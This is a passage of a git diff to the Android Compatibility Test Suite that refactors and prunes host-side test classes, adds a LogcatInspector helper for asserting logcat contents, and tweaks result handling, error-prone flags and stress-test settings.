+ mListener.testRunStarted(EasyMock.anyObject(), EasyMock.eq(1));
+ TestIdentifier tid = new TestIdentifier("com.android.compatibility.common.tradefed."
+ + "testtype.JarHostTestTest$Junit4TestClass2", "testPass2");
+ mListener.testStarted(EasyMock.eq(tid), EasyMock.anyLong());
+ Map<String, String> metrics = new HashMap<>();
+ metrics.put("key", "value");
+ mListener.testEnded(EasyMock.eq(tid), EasyMock.anyLong(), EasyMock.eq(metrics));
+ mListener.testRunEnded(EasyMock.anyLong(), EasyMock.anyObject());
+ EasyMock.replay(mListener);
+ mTest.run(mListener);
+ EasyMock.verify(mListener);
+ }
}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
index d67619a..682088c 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
@@ -15,10 +15,9 @@
*/
package com.android.compatibility.common.tradefed.testtype.retry;
-import static org.junit.Assert.*;
+import static org.junit.Assert.assertEquals;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
import com.android.tradefed.config.IConfiguration;
@@ -52,7 +51,7 @@
private RetryFilterHelper mSpyFilter;
/**
- * A {@link CompatibilityTest} that does not run anything.
+ * A {@link CompatibilityTestSuite} that does not run anything.
*/
@OptionClass(alias = "compatibility")
public static class VoidCompatibilityTest extends CompatibilityTestSuite {
@@ -90,7 +89,7 @@
};
mFactory = new RetryFactoryTest() {
@Override
- RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
+ protected RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
return mSpyFilter;
}
@Override
@@ -108,6 +107,7 @@
public void testRetry_receiveOption() throws Exception {
OptionSetter setter = new OptionSetter(mFactory);
setter.setOptionValue("retry", "10599");
+ setter.setOptionValue("test-arg", "abcd");
EasyMock.replay(mMockListener);
mFactory.run(mMockListener);
EasyMock.verify(mMockListener);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java
deleted file mode 100644
index 86569ef..0000000
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.tradefed.testtype.suite;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
-import com.android.tradefed.config.OptionSetter;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.util.AbiUtils;
-
-import org.easymock.EasyMock;
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.HashSet;
-import java.util.Set;
-
-/**
- * Unit tests for {@link CompatibilityTestSuite}.
- */
-public class CompatibilityTestSuiteTest {
-
- private static final String FAKE_HOST_ARCH = "arm";
- private CompatibilityTestSuite mTest;
- private ITestDevice mMockDevice;
-
- @Before
- public void setUp() throws Exception {
- mTest = new CompatibilityTestSuite() {
- @Override
- protected Set<String> getAbisForBuildTargetArch() {
- return AbiUtils.getAbisForArch(FAKE_HOST_ARCH);
- }
- };
- mMockDevice = EasyMock.createMock(ITestDevice.class);
- mTest.setDevice(mMockDevice);
- }
-
- /**
- * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning a proper
- * intersection of CTS supported architectures and Device supported architectures.
- */
- @Test
- public void testGetAbis() throws DeviceNotAvailableException {
- EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
- .andReturn("arm64-v8a,armeabi-v7a,armeabi");
- Set<String> expectedAbis = new HashSet<>();
- expectedAbis.add("arm64-v8a");
- expectedAbis.add("armeabi-v7a");
- EasyMock.replay(mMockDevice);
- Set<IAbi> res = mTest.getAbis(mMockDevice);
- assertEquals(2, res.size());
- for (IAbi abi : res) {
- assertTrue(expectedAbis.contains(abi.getName()));
- }
- EasyMock.verify(mMockDevice);
- }
-
- /**
- * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is throwing an exception when
- * none of the CTS build supported abi match the device abi.
- */
- @Test
- public void testGetAbis_notSupported() throws DeviceNotAvailableException {
- EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
- .andReturn("armeabi");
- EasyMock.replay(mMockDevice);
- try {
- mTest.getAbis(mMockDevice);
- fail("Should have thrown an exception");
- } catch (IllegalArgumentException e) {
- assertEquals("None of the abi supported by this CTS build ('[armeabi-v7a, arm64-v8a]')"
- + " are supported by the device ('[armeabi]').", e.getMessage());
- }
- EasyMock.verify(mMockDevice);
- }
-
- /**
- * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning only the device
- * primary abi.
- */
- @Test
- public void testGetAbis_primaryAbiOnly() throws Exception {
- OptionSetter setter = new OptionSetter(mTest);
- setter.setOptionValue(CompatibilityTest.PRIMARY_ABI_RUN, "true");
- EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abi")))
- .andReturn("arm64-v8a");
- Set<String> expectedAbis = new HashSet<>();
- expectedAbis.add("arm64-v8a");
- EasyMock.replay(mMockDevice);
- Set<IAbi> res = mTest.getAbis(mMockDevice);
- assertEquals(1, res.size());
- for (IAbi abi : res) {
- assertTrue(expectedAbis.contains(abi.getName()));
- }
- EasyMock.verify(mMockDevice);
- }
-
- /**
- * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is throwing an exception if
- * the primary abi is not supported.
- */
- @Test
- public void testGetAbis_primaryAbiOnly_NotSupported() throws Exception {
- OptionSetter setter = new OptionSetter(mTest);
- setter.setOptionValue(CompatibilityTest.PRIMARY_ABI_RUN, "true");
- EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abi")))
- .andReturn("armeabi");
- EasyMock.replay(mMockDevice);
- try {
- mTest.getAbis(mMockDevice);
- fail("Should have thrown an exception");
- } catch (IllegalArgumentException e) {
- assertEquals("Your CTS hasn't been built with abi 'armeabi' support, "
- + "this CTS currently supports '[armeabi-v7a, arm64-v8a]'.", e.getMessage());
- }
- EasyMock.verify(mMockDevice);
- }
-
- /**
- * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning the list of abi
- * supported by Compatibility and the device, and not the particular CTS build.
- */
- @Test
- public void testGetAbis_skipCtsArchCheck() throws Exception {
- OptionSetter setter = new OptionSetter(mTest);
- setter.setOptionValue(CompatibilityTest.SKIP_HOST_ARCH_CHECK, "true");
- EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
- .andReturn("x86_64,x86,armeabi");
- Set<String> expectedAbis = new HashSet<>();
- expectedAbis.add("x86_64");
- expectedAbis.add("x86");
- EasyMock.replay(mMockDevice);
- Set<IAbi> res = mTest.getAbis(mMockDevice);
- assertEquals(2, res.size());
- for (IAbi abi : res) {
- assertTrue(expectedAbis.contains(abi.getName()));
- }
- EasyMock.verify(mMockDevice);
- }
-
- /**
- * Test {@link CompatibilityTestSuite#getAbis(ITestDevice)} when we skip the Cts side
- * architecture check and want to run x86 abi.
- */
- @Test
- public void testGetAbis_skipCtsArchCheck_abiSpecified() throws Exception {
- OptionSetter setter = new OptionSetter(mTest);
- setter.setOptionValue(CompatibilityTest.SKIP_HOST_ARCH_CHECK, "true");
- setter.setOptionValue(CompatibilityTest.ABI_OPTION, "x86");
- Set<String> expectedAbis = new HashSet<>();
- expectedAbis.add("x86");
- EasyMock.replay(mMockDevice);
- Set<IAbi> res = mTest.getAbis(mMockDevice);
- assertEquals(1, res.size());
- for (IAbi abi : res) {
- assertTrue(expectedAbis.contains(abi.getName()));
- }
- EasyMock.verify(mMockDevice);
- }
-}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java
index c67afc0..31db704 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java
@@ -16,17 +16,13 @@
package com.android.compatibility.common.tradefed.testtype.suite;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
import com.android.tradefed.config.Configuration;
-import com.android.tradefed.config.ConfigurationDescriptor;
import com.android.tradefed.config.IConfiguration;
import com.android.tradefed.config.Option;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.result.ITestInvocationListener;
import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.util.MultiMap;
import org.junit.Before;
import org.junit.Test;
@@ -44,8 +40,6 @@
@RunWith(JUnit4.class)
public class ModuleRepoSuiteTest {
- private static final MultiMap<String, String> METADATA_INCLUDES = new MultiMap<>();
- private static final MultiMap<String, String> METADATA_EXCLUDES = new MultiMap<>();
private ModuleRepoSuite mRepo;
@Before
@@ -53,261 +47,6 @@
mRepo = new ModuleRepoSuite();
}
- /**
- * When there are no metadata based filters specified, config should be included.
- */
- @Test
- public void testMetadataFilter_emptyFilters() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- assertTrue("config not included when metadata filters are empty",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, METADATA_EXCLUDES));
- }
-
- /**
- * When inclusion filter is specified, config matching the filter is included.
- */
- @Test
- public void testMetadataFilter_matchInclude() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo");
- assertTrue("config not included with matching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When inclusion filter is specified, config not matching the filter is excluded
- */
- @Test
- public void testMetadataFilter_noMatchInclude_mismatchValue() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "bar");
- assertFalse("config not excluded with mismatching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When inclusion filter is specified, config not matching the filter is excluded.
- */
- @Test
- public void testMetadataFilter_noMatchInclude_mismatchKey() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("group", "bar");
- assertFalse("config not excluded with mismatching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When exclusion filter is specified, config matching the filter is excluded.
- */
- @Test
- public void testMetadataFilter_matchExclude() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("component", "foo");
- assertFalse("config not excluded with matching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When exclusion filter is specified, config not matching the filter is included.
- */
- @Test
- public void testMetadataFilter_noMatchExclude_mismatchKey() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("component", "bar");
- assertTrue("config not included with mismatching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When exclusion filter is specified, config not matching the filter is included.
- */
- @Test
- public void testMetadataFilter_noMatchExclude_mismatchValue() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("group", "bar");
- assertTrue("config not included with mismatching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When inclusion filter is specified, config with one of the metadata field matching the filter
- * is included.
- */
- @Test
- public void testMetadataFilter_matchInclude_multipleMetadataField() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- metadata.put("component", "bar");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo");
- assertTrue("config not included with matching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When exclusion filter is specified, config with one of the metadata field matching the filter
- * is excluded.
- */
- @Test
- public void testMetadataFilter_matchExclude_multipleMetadataField() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- metadata.put("component", "bar");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("component", "foo");
- assertFalse("config not excluded with matching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When inclusion filters are specified, config with metadata field matching one of the filter
- * is included.
- */
- @Test
- public void testMetadataFilter_matchInclude_multipleFilters() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo");
- includeFilter.put("component", "bar");
- assertTrue("config not included with matching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When exclusion filters are specified, config with metadata field matching one of the filter
- * is excluded.
- */
- @Test
- public void testMetadataFilter_matchExclude_multipleFilters() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("component", "foo");
- excludeFilter.put("component", "bar");
- assertFalse("config not excluded with matching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When inclusion filters are specified, config with metadata field matching one of the filter
- * is included.
- */
- @Test
- public void testMetadataFilter_matchInclude_multipleMetadataAndFilters() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo1");
- metadata.put("group", "bar1");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo1");
- includeFilter.put("group", "bar2");
- assertTrue("config not included with matching inclusion filter",
- mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
- }
-
- /**
- * When exclusion filters are specified, config with metadata field matching one of the filter
- * is excluded.
- */
- @Test
- public void testMetadataFilter_matchExclude_multipleMetadataAndFilters() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo1");
- metadata.put("group", "bar1");
- desc.setMetaData(metadata);
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("component", "foo1");
- excludeFilter.put("group", "bar2");
- assertFalse("config not excluded with matching exclusion filter",
- mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
- }
-
- /**
- * When inclusion and exclusion filters are both specified, config can pass through the filters
- * as expected.
- */
- @Test
- public void testMetadataFilter_includeAndExclude() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- metadata.put("group", "bar1");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo");
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("group", "bar2");
- assertTrue("config not included with matching inclusion and mismatching exclusion filters",
- mRepo.filterByConfigMetadata(config, includeFilter, excludeFilter));
- }
-
- /**
- * When inclusion and exclusion filters are both specified, config be excluded as specified
- */
- @Test
- public void testMetadataFilter_includeThenExclude() throws Exception {
- IConfiguration config = new Configuration("foo", "bar");
- ConfigurationDescriptor desc = config.getConfigurationDescription();
- MultiMap<String, String> metadata = new MultiMap<>();
- metadata.put("component", "foo");
- metadata.put("group", "bar");
- desc.setMetaData(metadata);
- MultiMap<String, String> includeFilter = new MultiMap<>();
- includeFilter.put("component", "foo");
- MultiMap<String, String> excludeFilter = new MultiMap<>();
- excludeFilter.put("group", "bar");
- assertFalse("config not excluded with matching inclusion and exclusion filters",
- mRepo.filterByConfigMetadata(config, includeFilter, excludeFilter));
- }
-
public static class TestInject implements IRemoteTest {
@Option(name = "simple-string")
public String test = null;
diff --git a/common/util/src/com/android/compatibility/common/util/LogcatInspector.java b/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
new file mode 100644
index 0000000..ed82307
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
@@ -0,0 +1,130 @@
+package com.android.compatibility.common.util;
+
+import static junit.framework.TestCase.fail;
+
+import com.google.common.base.Joiner;
+import com.google.common.io.Closeables;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.UUID;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Inherit this class and implement {@link #executeShellCommand(String)} to be able to assert that
+ * logcat contains what you want.
+ */
+public abstract class LogcatInspector {
+ private static final int SMALL_LOGCAT_DELAY = 1000;
+
+ /**
+ * Should execute adb shell {@param command} and return an {@link InputStream} with the result.
+ */
+ protected abstract InputStream executeShellCommand(String command) throws IOException;
+
+ /**
+ * Logs an unique string using tag {@param tag} and wait until it appears to continue execution.
+ *
+ * @return a unique separator string.
+ * @throws IOException if error while executing command.
+ */
+ public String mark(String tag) throws IOException {
+ String uniqueString = ":::" + UUID.randomUUID().toString();
+ executeShellCommand("log -t " + tag + " " + uniqueString);
+ // This is to guarantee that we only return after the string has been logged, otherwise
+ // in practice the case where calling Log.?(<message1>) right after clearAndMark() resulted
+ // in <message1> appearing before the unique identifier. It's not guaranteed per the docs
+ // that log command will have written when returning, so better be safe. 5s should be fine.
+ assertLogcatContainsInOrder(tag + ":* *:S", 5, uniqueString);
+ return uniqueString;
+ }
+
+ /**
+ * Wait for up to {@param maxTimeoutInSeconds} for the given {@param logcatStrings} strings to
+ * appear in logcat in the given order. By passing the separator returned by {@link
+ * #mark(String)} as the first string you can ensure that only logs emitted after that
+ * call to mark() are found. Repeated strings are not supported.
+ *
+ * @throws AssertionError if the strings are not found in the given time.
+ * @throws IOException if error while reading.
+ */
+ public void assertLogcatContainsInOrder(
+ String filterSpec, int maxTimeoutInSeconds, String... logcatStrings)
+ throws AssertionError, IOException {
+ try {
+ int nextStringIndex =
+ numberOfLogcatStringsFound(filterSpec, maxTimeoutInSeconds, logcatStrings);
+ if (nextStringIndex < logcatStrings.length) {
+ fail(
+ "Couldn't find "
+ + logcatStrings[nextStringIndex]
+ + (nextStringIndex > 0
+ ? " after " + logcatStrings[nextStringIndex - 1]
+ : "")
+ + " within "
+ + maxTimeoutInSeconds
+ + " seconds ");
+ }
+ } catch (InterruptedException e) {
+ fail("Thread interrupted unexpectedly: " + e.getMessage());
+ }
+ }
+
+ /**
+ * Wait for up to {@param timeInSeconds}, if all the strings {@param logcatStrings} are found in
+ * order then the assertion fails, otherwise it succeeds.
+ *
+ * @throws AssertionError if all the strings are found in order in the given time.
+ * @throws IOException if error while reading.
+ */
+ public void assertLogcatDoesNotContainInOrder(int timeInSeconds, String... logcatStrings)
+ throws IOException {
+ try {
+ int stringsFound = numberOfLogcatStringsFound("", timeInSeconds, logcatStrings);
+ if (stringsFound == logcatStrings.length) {
+ fail("Found " + Joiner.on(", ").join(logcatStrings) + " that weren't expected");
+ }
+ } catch (InterruptedException e) {
+ fail("Thread interrupted unexpectedly: " + e.getMessage());
+ }
+ }
+
+ private int numberOfLogcatStringsFound(
+ String filterSpec, int timeInSeconds, String... logcatStrings)
+ throws InterruptedException, IOException {
+ long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(timeInSeconds);
+ int stringIndex = 0;
+ while (timeout >= System.currentTimeMillis()) {
+ InputStream logcatStream = executeShellCommand("logcat -v brief -d " + filterSpec);
+ BufferedReader logcat = new BufferedReader(new InputStreamReader(logcatStream));
+ String line;
+ stringIndex = 0;
+ while ((line = logcat.readLine()) != null) {
+ if (line.contains(logcatStrings[stringIndex])) {
+ stringIndex++;
+ if (stringIndex >= logcatStrings.length) {
+ drainAndClose(logcat);
+ return stringIndex;
+ }
+ }
+ }
+ Closeables.closeQuietly(logcat);
+ // In case the key has not been found, wait for the log to update before
+ // performing the next search.
+ Thread.sleep(SMALL_LOGCAT_DELAY);
+ }
+ return stringIndex;
+ }
+
+ private static void drainAndClose(BufferedReader reader) {
+ try {
+ while (reader.read() >= 0) {
+ // do nothing.
+ }
+ } catch (IOException ignored) {
+ }
+ Closeables.closeQuietly(reader);
+ }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/ResultHandler.java b/common/util/src/com/android/compatibility/common/util/ResultHandler.java
index 4aa6e05..bcec56a 100644
--- a/common/util/src/com/android/compatibility/common/util/ResultHandler.java
+++ b/common/util/src/com/android/compatibility/common/util/ResultHandler.java
@@ -25,7 +25,6 @@
import org.xmlpull.v1.XmlSerializer;
import java.io.File;
-import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
@@ -43,6 +42,7 @@
import java.util.List;
import java.util.Map.Entry;
import java.util.Set;
+
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
@@ -114,17 +114,20 @@
private static final String SUMMARY_TAG = "Summary";
private static final String TEST_TAG = "Test";
+ private static final String LATEST_RESULT_DIR = "latest";
/**
* Returns IInvocationResults that can be queried for general reporting information, but that
* do not store underlying module data. Useful for summarizing invocation history.
* @param resultsDir
- * @param useChecksum
*/
public static List<IInvocationResult> getLightResults(File resultsDir) {
List<IInvocationResult> results = new ArrayList<>();
List<File> files = getResultDirectories(resultsDir);
for (File resultDir : files) {
+ if (LATEST_RESULT_DIR.equals(resultDir.getName())) {
+ continue;
+ }
IInvocationResult result = getResultFromDir(resultDir, false);
if (result != null) {
results.add(new LightInvocationResult(result));
@@ -490,8 +493,7 @@
/**
* Find the IInvocationResult for the given sessionId.
*/
- public static IInvocationResult findResult(File resultsDir, Integer sessionId)
- throws FileNotFoundException {
+ public static IInvocationResult findResult(File resultsDir, Integer sessionId) {
return findResult(resultsDir, sessionId, true);
}
@@ -499,7 +501,7 @@
* Find the IInvocationResult for the given sessionId.
*/
private static IInvocationResult findResult(
- File resultsDir, Integer sessionId, Boolean useChecksum) throws FileNotFoundException {
+ File resultsDir, Integer sessionId, Boolean useChecksum) {
if (sessionId < 0) {
throw new IllegalArgumentException(
String.format("Invalid session id [%d] ", sessionId));
@@ -531,7 +533,7 @@
/**
* Get a list of child directories that contain test invocation results
* @param resultsDir the root test result directory
- * @return
+ * @return the list of {@link File} results directory.
*/
public static List<File> getResultDirectories(File resultsDir) {
List<File> directoryList = new ArrayList<>();
diff --git a/error_prone_rules_tests.mk b/error_prone_rules_tests.mk
index d17828d..7c729ec 100644
--- a/error_prone_rules_tests.mk
+++ b/error_prone_rules_tests.mk
@@ -17,9 +17,13 @@
# Goal is to eventually merge with error_prone_rules.mk
LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
-Xep:CollectionIncompatibleType:ERROR \
+ -Xep:EqualsIncompatibleType:ERROR \
-Xep:EqualsNaN:ERROR \
-Xep:FormatString:ERROR \
+ -Xep:IdentityBinaryExpression:ERROR \
-Xep:JUnit3TestNotRun:ERROR \
+ -Xep:JUnitAmbiguousTestClass:ERROR \
+ -Xep:MissingFail:ERROR \
-Xep:SizeGreaterThanOrEqualsZero:ERROR \
-Xep:TryFailThrowable:ERROR
diff --git a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
index a570232..6719923 100644
--- a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
+++ b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
@@ -57,16 +57,14 @@
* Simple testcase to ensure that the grabbing a bugreport from a real TestDevice works.
*/
public void testBugreport() throws Exception {
- InputStreamSource bugreport = mTestDevice.getBugreport();
InputStream bugreportData = null;
- try {
+ try (InputStreamSource bugreport = mTestDevice.getBugreport()) {
bugreportData = bugreport.createInputStream();
String data = StreamUtil.getStringFromStream(bugreportData);
assertTrue(String.format("Expected at least %d characters; only saw %d",
mMinBugreportBytes, data.length()), data.length() >= mMinBugreportBytes);
// TODO: check the captured report more extensively, perhaps using loganalysis
} finally {
- StreamUtil.cancel(bugreport);
StreamUtil.close(bugreportData);
}
}
@@ -366,10 +364,9 @@
while (!passed) {
// sleep a small amount of time to ensure last log message makes it into capture
RunUtil.getDefault().sleep(10);
- InputStreamSource source = getDevice().getLogcat(100 * 1024);
- assertNotNull(source);
File tmpTxtFile = FileUtil.createTempFile("logcat", ".txt");
- try {
+ try (InputStreamSource source = getDevice().getLogcat(100 * 1024)) {
+ assertNotNull(source);
FileUtil.writeToFile(source.createInputStream(), tmpTxtFile);
CLog.i("Created file at %s", tmpTxtFile.getAbsolutePath());
// ensure last log message is present in log
@@ -379,7 +376,6 @@
}
} finally {
FileUtil.deleteFile(tmpTxtFile);
- source.cancel();
}
retry++;
if ((retry > 100) && !passed) {
diff --git a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
index 3f2ffa8..75ffc85 100644
--- a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
+++ b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
@@ -33,8 +33,8 @@
*/
public class TestDeviceStressTest extends DeviceTestCase {
- private static final int TEST_FILE_COUNT= 200;
- private int mIterations = 25;
+ private static final int TEST_FILE_COUNT= 100;
+ private int mIterations = 20;
private ITestDevice mTestDevice;
@Override
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index afd7245..74cd71c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -23,13 +23,17 @@
import static android.appsecurity.cts.SplitTests.CLASS;
import static android.appsecurity.cts.SplitTests.PKG;
-import com.android.tradefed.build.IBuildInfo;
+import static org.junit.Assert.fail;
+
import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
